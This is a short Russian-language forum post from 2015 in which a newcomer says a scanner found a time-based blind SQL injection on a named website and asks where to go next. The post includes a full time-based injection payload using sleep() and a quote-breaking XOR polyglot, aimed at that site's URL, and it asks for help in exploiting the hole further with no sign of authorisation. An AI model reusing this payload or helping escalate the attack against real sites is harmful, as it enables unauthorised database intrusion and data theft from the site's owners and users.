10.10.2015, 23:47
|
|
Новичок
Регистрация: 04.06.2015
Сообщений: 22
С нами:
5759606
Репутация:
0
|
|
хелп.
сканер нашёл blind sql. Что делать с url такого типа?
если менять значения sleep, то ответ изменяется в соответствии со значениями. sleep(6)=6 сек.
Код:
_ttp://megakeys.ru/news/if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/
куда копать в таком случае? |
|
|